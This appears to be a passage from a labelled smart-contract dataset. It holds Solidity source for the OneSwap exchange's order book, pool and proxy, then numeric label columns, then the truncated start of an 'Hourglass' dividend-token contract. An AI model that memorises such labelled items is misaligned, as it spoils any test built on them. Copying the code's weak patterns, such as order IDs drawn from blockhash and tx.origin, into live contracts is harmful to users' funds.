moneyBalance = moneyBalance - moneyAmount;
_setReserves(stockBalance, moneyBalance, firstSellID);
if (feeOn) _kLast = stockBalance.mul(moneyBalance);
emit Burn(msg.sender, (moneyAmount<<112)|stockAmount, to);
}
function skim(address to) external override lock {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+1));
address stockToken = ProxyData.stock(proxyData);
address moneyToken = ProxyData.money(proxyData);
(uint112 reserveStock, uint112 reserveMoney, ) = getReserves();
(uint bookedStock, uint bookedMoney, ) = getBooked();
uint balanceStock = _myBalance(stockToken);
uint balanceMoney = _myBalance(moneyToken);
require(balanceStock >= uint(bookedStock) + uint(reserveStock) &&
balanceMoney >= uint(bookedMoney) + uint(reserveMoney), "OneSwap: INVALID_BALANCE");
address ones = ProxyData.ones(proxyData);
_safeTransfer(stockToken, to, balanceStock-reserveStock-bookedStock, ones);
_safeTransfer(moneyToken, to, balanceMoney-reserveMoney-bookedMoney, ones);
}
function sync() external override lock {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+0));
(, , uint32 firstSellID) = getReserves();
(uint bookedStock, uint bookedMoney, ) = getBooked();
uint balanceStock = _myBalance(ProxyData.stock(proxyData));
uint balanceMoney = _myBalance(ProxyData.money(proxyData));
require(balanceStock >= bookedStock && balanceMoney >= bookedMoney, "OneSwap: INVALID_BALANCE");
_setReserves(balanceStock-bookedStock, balanceMoney-bookedMoney, firstSellID);
}
}
contract OneSwapPair is OneSwapPool, IOneSwapPair {
uint[1<<22] private _sellOrders;
uint[1<<22] private _buyOrders;
uint32 private constant _MAX_ID = (1<<22)-1;
function _expandPrice(uint32 price32, uint[5] memory proxyData) private pure returns (RatPrice memory price) {
price = DecFloat32.expandPrice(price32);
price.numerator *= ProxyData.priceMul(proxyData);
price.denominator *= ProxyData.priceDiv(proxyData);
}
function _expandPrice(Context memory ctx, uint32 price32) private pure returns (RatPrice memory price) {
price = DecFloat32.expandPrice(price32);
price.numerator *= ctx.priceMul;
price.denominator *= ctx.priceDiv;
}
function symbol() external override returns (string memory) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+0));
string memory s = IERC20(ProxyData.stock(proxyData)).symbol();
string memory m = IERC20(ProxyData.money(proxyData)).symbol();
return string(abi.encodePacked(s, "/", m, "-Share"));
}
function _emitNewLimitOrder(
uint64 addressLow,
uint64 totalStockAmount,
uint64 remainedStockAmount,
uint32 price,
uint32 orderID,
bool isBuy ) private {
uint data = uint(addressLow);
data = (data<<64) | uint(totalStockAmount);
data = (data<<64) | uint(remainedStockAmount);
data = (data<<32) | uint(price);
data = (data<<32) | uint(orderID<<8);
if(isBuy) {
data = data | 1;
}
emit NewLimitOrder(data);
}
function _emitNewMarketOrder(
uint136 addressLow,
uint112 amount,
bool isBuy ) private {
uint data = uint(addressLow);
data = (data<<112) | uint(amount);
data = data<<8;
if(isBuy) {
data = data | 1;
}
emit NewMarketOrder(data);
}
function _emitOrderChanged(
uint64 makerLastAmount,
uint64 makerDealAmount,
uint32 makerOrderID,
bool isBuy ) private {
uint data = uint(makerLastAmount);
data = (data<<64) | uint(makerDealAmount);
data = (data<<32) | uint(makerOrderID<<8);
if(isBuy) {
data = data | 1;
}
emit OrderChanged(data);
}
function _emitDealWithPool(
uint112 inAmount,
uint112 outAmount,
bool isBuy) private {
uint data = uint(inAmount);
data = (data<<112) | uint(outAmount);
data = data<<8;
if(isBuy) {
data = data | 1;
}
emit DealWithPool(data);
}
function _emitRemoveOrder(
uint64 remainStockAmount,
uint32 orderID,
bool isBuy ) private {
uint data = uint(remainStockAmount);
data = (data<<32) | uint(orderID<<8);
if(isBuy) {
data = data | 1;
}
emit RemoveOrder(data);
}
function _order2uint(Order memory order) internal pure returns (uint) {
uint n = uint(order.sender);
n = (n<<32) | order.price;
n = (n<<42) | order.amount;
n = (n<<22) | order.nextID;
return n;
}
function _uint2order(uint n) internal pure returns (Order memory) {
Order memory order;
order.nextID = uint32(n & ((1<<22)-1));
n = n >> 22;
order.amount = uint64(n & ((1<<42)-1));
n = n >> 42;
order.price = uint32(n & ((1<<32)-1));
n = n >> 32;
order.sender = address(n);
return order;
}
function _hasOrder(bool isBuy, uint32 id) internal view returns (bool) {
if(isBuy) {
return _buyOrders[id] != 0;
} else {
return _sellOrders[id] != 0;
}
}
function _getOrder(bool isBuy, uint32 id) internal view returns (Order memory order, bool findIt) {
if(isBuy) {
order = _uint2order(_buyOrders[id]);
return (order, order.price != 0);
} else {
order = _uint2order(_sellOrders[id]);
return (order, order.price != 0);
}
}
function _setOrder(bool isBuy, uint32 id, Order memory order) internal {
if(isBuy) {
_buyOrders[id] = _order2uint(order);
} else {
_sellOrders[id] = _order2uint(order);
}
}
function _deleteOrder(bool isBuy, uint32 id) internal {
if(isBuy) {
delete _buyOrders[id];
} else {
delete _sellOrders[id];
}
}
function _getFirstOrderID(Context memory ctx, bool isBuy) internal pure returns (uint32) {
if(isBuy) {
return ctx.firstBuyID;
}
return ctx.firstSellID;
}
function _setFirstOrderID(Context memory ctx, bool isBuy, uint32 id) internal pure {
if(isBuy) {
ctx.firstBuyID = id;
} else {
ctx.firstSellID = id;
}
}
function removeOrders(uint[] calldata rmList) external override lock {
uint[5] memory proxyData;
uint expectedCallDataSize = 4+32*(ProxyData.COUNT+2+rmList.length);
ProxyData.fill(proxyData, expectedCallDataSize);
for(uint i = 0; i < rmList.length; i++) {
uint rmInfo = rmList[i];
bool isBuy = uint8(rmInfo) != 0;
uint32 id = uint32(rmInfo>>8);
uint72 prevKey = uint72(rmInfo>>40);
_removeOrder(isBuy, id, prevKey, proxyData);
}
}
function removeOrder(bool isBuy, uint32 id, uint72 prevKey) external override lock {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+3));
_removeOrder(isBuy, id, prevKey, proxyData);
}
function _removeOrder(bool isBuy, uint32 id, uint72 prevKey, uint[5] memory proxyData) private {
Context memory ctx;
(ctx.bookedStock, ctx.bookedMoney, ctx.firstBuyID) = getBooked();
if(!isBuy) {
(ctx.reserveStock, ctx.reserveMoney, ctx.firstSellID) = getReserves();
}
Order memory order = _removeOrderFromBook(ctx, isBuy, id, prevKey);
require(msg.sender == order.sender, "OneSwap: NOT_OWNER");
uint64 stockUnit = ProxyData.stockUnit(proxyData);
uint stockAmount = uint(order.amount) * uint(stockUnit);
address ones = ProxyData.ones(proxyData);
if(isBuy) {
RatPrice memory price = _expandPrice(order.price, proxyData);
uint moneyAmount = stockAmount * price.numerator / price.denominator;
ctx.bookedMoney -= moneyAmount;
_safeTransfer(ProxyData.money(proxyData), order.sender, moneyAmount, ones);
} else {
ctx.bookedStock -= stockAmount;
_safeTransfer(ProxyData.stock(proxyData), order.sender, stockAmount, ones);
}
_setBooked(ctx.bookedStock, ctx.bookedMoney, ctx.firstBuyID);
}
function _removeOrderFromBook(Context memory ctx, bool isBuy,
uint32 id, uint72 prevKey) internal returns (Order memory) {
(Order memory order, bool ok) = _getOrder(isBuy, id);
require(ok, "OneSwap: NO_SUCH_ORDER");
if(prevKey == 0) {
uint32 firstID = _getFirstOrderID(ctx, isBuy);
require(id == firstID, "OneSwap: NOT_FIRST");
_setFirstOrderID(ctx, isBuy, order.nextID);
if(!isBuy) {
_setReserves(ctx.reserveStock, ctx.reserveMoney, ctx.firstSellID);
}
} else {
(uint32 currID, Order memory prevOrder, bool findIt) = _getOrder3Times(isBuy, prevKey);
require(findIt, "OneSwap: INVALID_POSITION");
while(prevOrder.nextID != id) {
currID = prevOrder.nextID;
require(currID != 0, "OneSwap: REACH_END");
(prevOrder, ) = _getOrder(isBuy, currID);
}
prevOrder.nextID = order.nextID;
_setOrder(isBuy, currID, prevOrder);
}
_emitRemoveOrder(order.amount, id, isBuy);
_deleteOrder(isBuy, id);
return order;
}
function _insertOrderAtHead(Context memory ctx, bool isBuy, Order memory order, uint32 id) private {
order.nextID = _getFirstOrderID(ctx, isBuy);
_setOrder(isBuy, id, order);
_setFirstOrderID(ctx, isBuy, id);
}
function _getOrder3Times(bool isBuy, uint72 prevKey) private view returns (
uint32 currID, Order memory prevOrder, bool findIt) {
currID = uint32(prevKey&_MAX_ID);
(prevOrder, findIt) = _getOrder(isBuy, currID);
if(!findIt) {
currID = uint32((prevKey>>24)&_MAX_ID);
(prevOrder, findIt) = _getOrder(isBuy, currID);
if(!findIt) {
currID = uint32((prevKey>>48)&_MAX_ID);
(prevOrder, findIt) = _getOrder(isBuy, currID);
}
}
}
function _insertOrderFromGivenPos(bool isBuy, Order memory order,
uint32 id, uint72 prevKey) private returns (bool inserted) {
(uint32 currID, Order memory prevOrder, bool findIt) = _getOrder3Times(isBuy, prevKey);
if(!findIt) {
return false;
}
return _insertOrder(isBuy, order, prevOrder, id, currID);
}
function _insertOrderFromHead(Context memory ctx, bool isBuy, Order memory order,
uint32 id) private returns (bool inserted) {
uint32 firstID = _getFirstOrderID(ctx, isBuy);
bool canBeFirst = (firstID == 0);
Order memory firstOrder;
if(!canBeFirst) {
(firstOrder, ) = _getOrder(isBuy, firstID);
canBeFirst = (isBuy && (firstOrder.price < order.price)) ||
(!isBuy && (firstOrder.price > order.price));
}
if(canBeFirst) {
order.nextID = firstID;
_setOrder(isBuy, id, order);
_setFirstOrderID(ctx, isBuy, id);
return true;
}
return _insertOrder(isBuy, order, firstOrder, id, firstID);
}
function _insertOrder(bool isBuy, Order memory order, Order memory prevOrder,
uint32 id, uint32 currID) private returns (bool inserted) {
while(currID != 0) {
bool canFollow = (isBuy && (order.price <= prevOrder.price)) ||
(!isBuy && (order.price >= prevOrder.price));
if(!canFollow) {break;}
Order memory nextOrder;
if(prevOrder.nextID != 0) {
(nextOrder, ) = _getOrder(isBuy, prevOrder.nextID);
bool canPrecede = (isBuy && (nextOrder.price < order.price)) ||
(!isBuy && (nextOrder.price > order.price));
canFollow = canFollow && canPrecede;
}
if(canFollow) {
order.nextID = prevOrder.nextID;
_setOrder(isBuy, id, order);
prevOrder.nextID = id;
_setOrder(isBuy, currID, prevOrder);
return true;
}
currID = prevOrder.nextID;
prevOrder = nextOrder;
}
return false;
}
function getPrices() external override returns (
uint firstSellPriceNumerator,
uint firstSellPriceDenominator,
uint firstBuyPriceNumerator,
uint firstBuyPriceDenominator,
uint poolPriceNumerator,
uint poolPriceDenominator) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+0));
(uint112 reserveStock, uint112 reserveMoney, uint32 firstSellID) = getReserves();
poolPriceNumerator = uint(reserveMoney);
poolPriceDenominator = uint(reserveStock);
firstSellPriceNumerator = 0;
firstSellPriceDenominator = 0;
firstBuyPriceNumerator = 0;
firstBuyPriceDenominator = 0;
if(firstSellID!=0) {
uint order = _sellOrders[firstSellID];
RatPrice memory price = _expandPrice(uint32(order>>64), proxyData);
firstSellPriceNumerator = price.numerator;
firstSellPriceDenominator = price.denominator;
}
uint32 id = uint32(_bookedStockAndMoneyAndFirstBuyID>>224);
if(id!=0) {
uint order = _buyOrders[id];
RatPrice memory price = _expandPrice(uint32(order>>64), proxyData);
firstBuyPriceNumerator = price.numerator;
firstBuyPriceDenominator = price.denominator;
}
}
function getOrderList(bool isBuy, uint32 id, uint32 maxCount) external override view returns (uint[] memory) {
if(id == 0) {
if(isBuy) {
id = uint32(_bookedStockAndMoneyAndFirstBuyID>>224);
} else {
id = uint32(_reserveStockAndMoneyAndFirstSellID>>224);
}
}
uint[1<<22] storage orderbook;
if(isBuy) {
orderbook = _buyOrders;
} else {
orderbook = _sellOrders;
}
uint order = (block.number<<24) | id;
uint addrOrig;
uint addrLen;
uint addrStart;
uint addrEnd;
uint count = 0;
assembly {
addrOrig := mload(0x40)
mstore(addrOrig, 32)
}
addrLen = addrOrig + 32;
addrStart = addrLen + 32;
addrEnd = addrStart;
while(count < maxCount) {
assembly {
mstore(addrEnd, order)
}
addrEnd += 32;
count++;
if(id == 0) {break;}
order = orderbook[id];
require(order!=0, "OneSwap: INCONSISTENT_BOOK");
id = uint32(order&_MAX_ID);
}
assembly {
mstore(addrLen, count)
let byteCount := sub(addrEnd, addrOrig)
return(addrOrig, byteCount)
}
}
function _getUnusedOrderID(bool isBuy, uint32 id) internal view returns (uint32) {
if(id == 0) {
id = uint32(uint(blockhash(block.number-1))^uint(tx.origin)) & _MAX_ID;
}
for(uint32 i = 0; i < 100 && id <= _MAX_ID; i++) {
if(!_hasOrder(isBuy, id)) {
return id;
}
id++;
}
require(false, "OneSwap: CANNOT_FIND_VALID_ID");
return 0;
}
function calcStockAndMoney(uint64 amount, uint32 price32) external pure override returns (uint stockAmount, uint moneyAmount) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+2));
(stockAmount, moneyAmount, ) = _calcStockAndMoney(amount, price32, proxyData);
}
function _calcStockAndMoney(uint64 amount, uint32 price32, uint[5] memory proxyData) private pure returns (uint stockAmount, uint moneyAmount, RatPrice memory price) {
price = _expandPrice(price32, proxyData);
uint64 stockUnit = ProxyData.stockUnit(proxyData);
stockAmount = uint(amount) * uint(stockUnit);
moneyAmount = stockAmount * price.numerator /price.denominator;
}
function addLimitOrder(bool isBuy, address sender, uint64 amount, uint32 price32,
uint32 id, uint72 prevKey) external payable override lock {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+6));
require(ProxyData.isOnlySwap(proxyData)==false, "OneSwap: LIMIT_ORDER_NOT_SUPPORTED");
Context memory ctx;
ctx.stockUnit = ProxyData.stockUnit(proxyData);
ctx.ones = ProxyData.ones(proxyData);
ctx.factory = ProxyData.factory(proxyData);
ctx.stockToken = ProxyData.stock(proxyData);
ctx.moneyToken = ProxyData.money(proxyData);
ctx.priceMul = ProxyData.priceMul(proxyData);
ctx.priceDiv = ProxyData.priceDiv(proxyData);
ctx.hasDealtInOrderBook = false;
ctx.isLimitOrder = true;
ctx.order.sender = sender;
ctx.order.amount = amount;
ctx.order.price = price32;
ctx.newOrderID = _getUnusedOrderID(isBuy, id);
RatPrice memory price;
{
require((amount >> 42) == 0, "OneSwap: INVALID_AMOUNT");
uint32 m = price32 & DecFloat32.MANTISSA_MASK;
require(DecFloat32.MIN_MANTISSA <= m && m <= DecFloat32.MAX_MANTISSA, "OneSwap: INVALID_PRICE");
uint stockAmount;
uint moneyAmount;
(stockAmount, moneyAmount, price) = _calcStockAndMoney(amount, price32, proxyData);
if(isBuy) {
ctx.remainAmount = moneyAmount;
} else {
ctx.remainAmount = stockAmount;
}
}
require(ctx.remainAmount < uint(1<<112), "OneSwap: OVERFLOW");
(ctx.reserveStock, ctx.reserveMoney, ctx.firstSellID) = getReserves();
(ctx.bookedStock, ctx.bookedMoney, ctx.firstBuyID) = getBooked();
_checkRemainAmount(ctx, isBuy);
if(prevKey != 0) {
bool inserted = _insertOrderFromGivenPos(isBuy, ctx.order, ctx.newOrderID, prevKey);
if(inserted) {
_emitNewLimitOrder(uint64(ctx.order.sender), amount, amount, price32, ctx.newOrderID, isBuy);
if(isBuy) {
ctx.bookedMoney += ctx.remainAmount;
} else {
ctx.bookedStock += ctx.remainAmount;
}
_setBooked(ctx.bookedStock, ctx.bookedMoney, ctx.firstBuyID);
if(ctx.reserveChanged) {
_setReserves(ctx.reserveStock, ctx.reserveMoney, ctx.firstSellID);
}
return;
}
}
_addOrder(ctx, isBuy, price);
}
function addMarketOrder(address inputToken, address sender,
uint112 inAmount) external payable override lock returns (uint) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+3));
Context memory ctx;
ctx.moneyToken = ProxyData.money(proxyData);
ctx.stockToken = ProxyData.stock(proxyData);
require(inputToken == ctx.moneyToken || inputToken == ctx.stockToken, "OneSwap: INVALID_TOKEN");
bool isBuy = inputToken == ctx.moneyToken;
ctx.stockUnit = ProxyData.stockUnit(proxyData);
ctx.priceMul = ProxyData.priceMul(proxyData);
ctx.priceDiv = ProxyData.priceDiv(proxyData);
ctx.ones = ProxyData.ones(proxyData);
ctx.factory = ProxyData.factory(proxyData);
ctx.hasDealtInOrderBook = false;
ctx.isLimitOrder = false;
ctx.remainAmount = inAmount;
(ctx.reserveStock, ctx.reserveMoney, ctx.firstSellID) = getReserves();
(ctx.bookedStock, ctx.bookedMoney, ctx.firstBuyID) = getBooked();
_checkRemainAmount(ctx, isBuy);
ctx.order.sender = sender;
if(isBuy) {
ctx.order.price = DecFloat32.MAX_PRICE;
} else {
ctx.order.price = DecFloat32.MIN_PRICE;
}
RatPrice memory price;
_emitNewMarketOrder(uint136(ctx.order.sender), inAmount, isBuy);
return _addOrder(ctx, isBuy, price);
}
function _checkRemainAmount(Context memory ctx, bool isBuy) private view {
ctx.reserveChanged = false;
uint diff;
if(isBuy) {
uint balance = _myBalance(ctx.moneyToken);
require(balance >= ctx.bookedMoney + ctx.reserveMoney, "OneSwap: MONEY_MISMATCH");
diff = balance - ctx.bookedMoney - ctx.reserveMoney;
if(ctx.remainAmount < diff) {
ctx.reserveMoney += (diff - ctx.remainAmount);
ctx.reserveChanged = true;
}
} else {
uint balance = _myBalance(ctx.stockToken);
require(balance >= ctx.bookedStock + ctx.reserveStock, "OneSwap: STOCK_MISMATCH");
diff = balance - ctx.bookedStock - ctx.reserveStock;
if(ctx.remainAmount < diff) {
ctx.reserveStock += (diff - ctx.remainAmount);
ctx.reserveChanged = true;
}
}
require(ctx.remainAmount <= diff, "OneSwap: DEPOSIT_NOT_ENOUGH");
}
function _addOrder(Context memory ctx, bool isBuy, RatPrice memory price) private returns (uint) {
(ctx.dealMoneyInBook, ctx.dealStockInBook) = (0, 0);
ctx.firstID = _getFirstOrderID(ctx, !isBuy);
uint32 currID = ctx.firstID;
ctx.amountIntoPool = 0;
while(currID != 0) {
(Order memory orderInBook, ) = _getOrder(!isBuy, currID);
bool canDealInOrderBook = (isBuy && (orderInBook.price <= ctx.order.price)) ||
(!isBuy && (orderInBook.price >= ctx.order.price));
if(!canDealInOrderBook) {break;}
RatPrice memory priceInBook = _expandPrice(ctx, orderInBook.price);
bool allDeal = _tryDealInPool(ctx, isBuy, priceInBook);
if(allDeal) {break;}
_dealInOrderBook(ctx, isBuy, currID, orderInBook, priceInBook);
if(orderInBook.amount != 0) {
_setOrder(!isBuy, currID, orderInBook);
break;
}
_deleteOrder(!isBuy, currID);
currID = orderInBook.nextID;
}
if(ctx.isLimitOrder) {
_tryDealInPool(ctx, isBuy, price);
_insertOrderToBook(ctx, isBuy, price);
} else {
ctx.amountIntoPool += ctx.remainAmount;
ctx.remainAmount = 0;
}
uint amountToTaker = _dealWithPoolAndCollectFee(ctx, isBuy);
if(isBuy) {
ctx.bookedStock -= ctx.dealStockInBook;
} else {
ctx.bookedMoney -= ctx.dealMoneyInBook;
}
if(ctx.firstID != currID) {
_setFirstOrderID(ctx, !isBuy, currID);
}
_setBooked(ctx.bookedStock, ctx.bookedMoney, ctx.firstBuyID);
_setReserves(ctx.reserveStock, ctx.reserveMoney, ctx.firstSellID);
return amountToTaker;
}
function _intopoolAmountTillPrice(bool isBuy, uint reserveMoney, uint reserveStock,
RatPrice memory price) private pure returns (uint result) {
uint numerator = reserveMoney * price.denominator;
uint denominator = reserveStock * price.numerator;
if(isBuy) {
(numerator, denominator) = (denominator, numerator);
}
while(numerator >= (1<<192)) {
numerator >>= 16;
denominator >>= 16;
}
require(denominator != 0, "OneSwapPair: DIV_BY_ZERO");
numerator = numerator * (1<<64);
uint quotient = numerator / denominator;
if(quotient <= (1<<64)) {
return 0;
} else if(quotient <= ((1<<64)*5/4)) {
uint x = quotient - (1<<64);
uint y = x*x;
y = x/2 - y/(8*(1<<64)) + y*x/(16*(1<<128));
if(isBuy) {
result = reserveMoney * y;
} else {
result = reserveStock * y;
}
result /= (1<<64);
return result;
}
uint root = Math.sqrt(quotient);
uint diff = root - (1<<32);
if(isBuy) {
result = reserveMoney * diff;
} else {
result = reserveStock * diff;
}
result /= (1<<32);
return result;
}
function _tryDealInPool(Context memory ctx, bool isBuy, RatPrice memory price) private pure returns (bool) {
uint currTokenCanTrade = _intopoolAmountTillPrice(isBuy, ctx.reserveMoney, ctx.reserveStock, price);
require(currTokenCanTrade < uint(1<<112), "OneSwap: CURR_TOKEN_TOO_LARGE");
if(!isBuy) {
currTokenCanTrade /= ctx.stockUnit;
currTokenCanTrade *= ctx.stockUnit;
}
if(currTokenCanTrade > ctx.amountIntoPool) {
uint diffTokenCanTrade = currTokenCanTrade - ctx.amountIntoPool;
bool allDeal = diffTokenCanTrade >= ctx.remainAmount;
if(allDeal) {
diffTokenCanTrade = ctx.remainAmount;
}
ctx.amountIntoPool += diffTokenCanTrade;
ctx.remainAmount -= diffTokenCanTrade;
return allDeal;
}
return false;
}
function _dealInOrderBook(Context memory ctx, bool isBuy, uint32 currID,
Order memory orderInBook, RatPrice memory priceInBook) internal {
ctx.hasDealtInOrderBook = true;
uint stockAmount;
if(isBuy) {
uint a = ctx.remainAmount * priceInBook.denominator;
uint b = priceInBook.numerator * ctx.stockUnit;
stockAmount = a/b;
} else {
stockAmount = ctx.remainAmount/ctx.stockUnit;
}
if(uint(orderInBook.amount) < stockAmount) {
stockAmount = uint(orderInBook.amount);
}
require(stockAmount < (1<<42), "OneSwap: STOCK_TOO_LARGE");
uint stockTrans = stockAmount * ctx.stockUnit;
uint moneyTrans = stockTrans * priceInBook.numerator / priceInBook.denominator;
_emitOrderChanged(orderInBook.amount, uint64(stockAmount), currID, isBuy);
orderInBook.amount -= uint64(stockAmount);
if(isBuy) {
ctx.remainAmount -= moneyTrans;
} else {
ctx.remainAmount -= stockTrans;
}
ctx.dealStockInBook += stockTrans;
ctx.dealMoneyInBook += moneyTrans;
if(isBuy) {
_safeTransfer(ctx.moneyToken, orderInBook.sender, moneyTrans, ctx.ones);
} else {
_safeTransfer(ctx.stockToken, orderInBook.sender, stockTrans, ctx.ones);
}
}
function _dealWithPoolAndCollectFee(Context memory ctx, bool isBuy) internal returns (uint) {
(uint outpoolTokenReserve, uint inpoolTokenReserve, uint otherToTaker) = (
ctx.reserveMoney, ctx.reserveStock, ctx.dealMoneyInBook);
if(isBuy) {
(outpoolTokenReserve, inpoolTokenReserve, otherToTaker) = (
ctx.reserveStock, ctx.reserveMoney, ctx.dealStockInBook);
}
uint outAmount = (outpoolTokenReserve*ctx.amountIntoPool)/(inpoolTokenReserve+ctx.amountIntoPool);
if(ctx.amountIntoPool > 0) {
_emitDealWithPool(uint112(ctx.amountIntoPool), uint112(outAmount), isBuy);
}
uint32 feeBPS = IOneSwapFactory(ctx.factory).feeBPS();
uint amountToTaker = outAmount + otherToTaker;
require(amountToTaker < uint(1<<112), "OneSwap: AMOUNT_TOO_LARGE");
uint fee = (amountToTaker * feeBPS + 9999) / 10000;
amountToTaker -= fee;
if(isBuy) {
ctx.reserveMoney = ctx.reserveMoney + ctx.amountIntoPool;
ctx.reserveStock = ctx.reserveStock - outAmount + fee;
} else {
ctx.reserveMoney = ctx.reserveMoney - outAmount + fee;
ctx.reserveStock = ctx.reserveStock + ctx.amountIntoPool;
}
address token = ctx.moneyToken;
if(isBuy) {
token = ctx.stockToken;
}
_safeTransfer(token, ctx.order.sender, amountToTaker, ctx.ones);
return amountToTaker;
}
function _insertOrderToBook(Context memory ctx, bool isBuy, RatPrice memory price) internal {
(uint smallAmount, uint moneyAmount, uint stockAmount) = (0, 0, 0);
if(isBuy) {
uint tempAmount1 = ctx.remainAmount * price.denominator ;
uint temp = ctx.stockUnit * price.numerator;
stockAmount = tempAmount1 / temp;
uint tempAmount2 = stockAmount * temp;
moneyAmount = (tempAmount2+price.denominator-1)/price.denominator;
if(ctx.remainAmount > moneyAmount) {
smallAmount = ctx.remainAmount - moneyAmount;
} else {
moneyAmount = ctx.remainAmount;
}
} else {
stockAmount = ctx.remainAmount / ctx.stockUnit;
smallAmount = ctx.remainAmount - stockAmount * ctx.stockUnit;
}
ctx.amountIntoPool += smallAmount;
_emitNewLimitOrder(uint64(ctx.order.sender), ctx.order.amount, uint64(stockAmount),
ctx.order.price, ctx.newOrderID, isBuy);
if(stockAmount != 0) {
ctx.order.amount = uint64(stockAmount);
if(ctx.hasDealtInOrderBook) {
_insertOrderAtHead(ctx, isBuy, ctx.order, ctx.newOrderID);
} else {
_insertOrderFromHead(ctx, isBuy, ctx.order, ctx.newOrderID);
}
}
if(isBuy) {
ctx.bookedMoney += moneyAmount;
} else {
ctx.bookedStock += (ctx.remainAmount - smallAmount);
}
}
}
contract OneSwapPairProxy {
uint internal _unusedVar0;
uint internal _unusedVar1;
uint internal _unusedVar2;
uint internal _unusedVar3;
uint internal _unusedVar4;
uint internal _unusedVar5;
uint internal _unusedVar6;
uint internal _unusedVar7;
uint internal _unusedVar8;
uint internal _unusedVar9;
uint internal _unlocked;
uint internal immutable _immuFactory;
uint internal immutable _immuMoneyToken;
uint internal immutable _immuStockToken;
uint internal immutable _immuOnes;
uint internal immutable _immuOther;
constructor(address stockToken, address moneyToken, bool isOnlySwap, uint64 stockUnit, uint64 priceMul, uint64 priceDiv, address ones) public {
_immuFactory = uint(msg.sender);
_immuMoneyToken = uint(moneyToken);
_immuStockToken = uint(stockToken);
_immuOnes = uint(ones);
uint temp = 0;
if(isOnlySwap) {
temp = 1;
}
temp = (temp<<64) | stockUnit;
temp = (temp<<64) | priceMul;
temp = (temp<<64) | priceDiv;
_immuOther = temp;
_unlocked = 1;
}
receive() external payable { }
fallback() payable external {
uint factory = _immuFactory;
uint moneyToken = _immuMoneyToken;
uint stockToken = _immuStockToken;
uint ones = _immuOnes;
uint other = _immuOther;
address impl = IOneSwapFactory(address(_immuFactory)).pairLogic();
assembly {
let ptr := mload(0x40)
let size := calldatasize()
calldatacopy(ptr, 0, size)
let end := add(ptr, size)
mstore(end, factory)
end := add(end, 32)
mstore(end, moneyToken)
end := add(end, 32)
mstore(end, stockToken)
end := add(end, 32)
mstore(end, ones)
end := add(end, 32)
mstore(end, other)
size := add(size, 160)
let result := delegatecall(gas(), impl, ptr, size, 0, 0)
size := returndatasize()
returndatacopy(ptr, 0, size)
switch result
case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
}
pragma solidity 0.6.12;
contract OneSwapFactory is IOneSwapFactory {
struct TokensInPair {
address stock;
address money;
}
address public override feeTo;
address public override feeToSetter;
address public immutable gov;
address public immutable ones;
uint32 public override feeBPS = 50;
address public override pairLogic;
mapping(address => TokensInPair) private _pairWithToken;
mapping(bytes32 => address) private _tokensToPair;
address[] public allPairs;
constructor(address _feeToSetter, address _gov, address _ones, address _pairLogic) public {
feeToSetter = _feeToSetter;
gov = _gov;
ones = _ones;
pairLogic = _pairLogic;
}
function createPair(address stock, address money, bool isOnlySwap) external override returns (address pair) {
require(stock != money, "OneSwapFactory: IDENTICAL_ADDRESSES");
uint moneyDec = _getDecimals(money);
uint stockDec = _getDecimals(stock);
require(23 >= stockDec && stockDec >= 0, "OneSwapFactory: STOCK_DECIMALS_NOT_SUPPORTED");
uint dec = 0;
if (stockDec >= 4) {
dec = stockDec - 4;
}
uint64 priceMul = 1;
uint64 priceDiv = 1;
bool differenceTooLarge = false;
if (moneyDec > stockDec) {
if (moneyDec > stockDec + 19) {
differenceTooLarge = true;
} else {
priceMul = uint64(uint(10)**(moneyDec - stockDec));
}
}
if (stockDec > moneyDec) {
if (stockDec > moneyDec + 19) {
differenceTooLarge = true;
} else {
priceDiv = uint64(uint(10)**(stockDec - moneyDec));
}
}
require(!differenceTooLarge, "OneSwapFactory: DECIMALS_DIFF_TOO_LARGE");
bytes32 salt = keccak256(abi.encodePacked(stock, money, isOnlySwap));
require(_tokensToPair[salt] == address(0), "OneSwapFactory: PAIR_EXISTS");
OneSwapPairProxy oneswap = new OneSwapPairProxy{salt: salt}(stock, money, isOnlySwap, uint64(uint(10)**dec), priceMul, priceDiv, ones);
pair = address(oneswap);
allPairs.push(pair);
_tokensToPair[salt] = pair;
_pairWithToken[pair] = TokensInPair(stock, money);
emit PairCreated(pair, stock, money, isOnlySwap);
}
function _getDecimals(address token) private view returns (uint) {
if (token == address(0)) { return 18; }
return uint(IERC20(token).decimals());
}
function allPairsLength() external override view returns (uint) {
return allPairs.length;
}
function setFeeTo(address _feeTo) external override {
require(msg.sender == feeToSetter, "OneSwapFactory: FORBIDDEN");
feeTo = _feeTo;
}
function setFeeToSetter(address _feeToSetter) external override {
require(msg.sender == feeToSetter, "OneSwapFactory: FORBIDDEN");
feeToSetter = _feeToSetter;
}
function setPairLogic(address implLogic) external override {
require(msg.sender == gov, "OneSwapFactory: SETTER_MISMATCH");
pairLogic = implLogic;
}
function setFeeBPS(uint32 _bps) external override {
require(msg.sender == gov, "OneSwapFactory: SETTER_MISMATCH");
require(0 <= _bps && _bps <= 50 , "OneSwapFactory: BPS_OUT_OF_RANGE");
feeBPS = _bps;
}
function getTokensFromPair(address pair) external view override returns (address stock, address money) {
stock = _pairWithToken[pair].stock;
money = _pairWithToken[pair].money;
}
function tokensToPair(address stock, address money, bool isOnlySwap) external view override returns (address pair) {
bytes32 key = keccak256(abi.encodePacked(stock, money, isOnlySwap));
return _tokensToPair[key];
}
} | 0 | 1 |
pragma solidity ^0.4.20;
contract Hourglass {
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[keccak256(_customerAddress)]);
_;
}
modifier antiEarlyWhale(uint256 _amountOfEthereum){
address _customerAddress = msg.sender;
if( onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_ )){
require(
ambassadors_[_customerAddress] == true &&
